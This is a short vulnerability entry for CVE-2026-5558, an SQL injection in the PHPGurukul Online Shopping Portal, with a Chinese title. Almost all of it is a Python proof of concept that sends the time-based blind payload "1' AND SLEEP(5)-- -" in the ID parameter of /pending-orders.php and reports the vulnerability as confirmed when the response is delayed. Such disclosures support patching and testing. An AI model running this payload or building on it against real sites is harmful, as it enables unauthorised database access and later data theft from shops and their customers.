CVE-2026-5558 PHPGurukul在线购物门户SQL注入漏洞

import requests # PoC for CVE-2026-5558 # Target: PHPGurukul Online Shopping Portal <= 2.1 # Vulnerable File: /pending-orders.php # Vulnerable Parameter: ID target_url = "http://target-host/pending-orders.php" # Malicious payload to test SQL Injection # Example: Checking if the database sleeps for 5 seconds (Time-based Blind) payload = { "ID": "1' AND SLEEP(5)-- -" } try: response = requests.get(target_url, params=payload, timeout=10) # If the response takes significantly longer than usual, the injection is likely successful. if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected via ID parameter.") else: print("[-] Vulnerability not detected or payload invalid.") except Exception as e: print(f"[!] Error during request: {e}")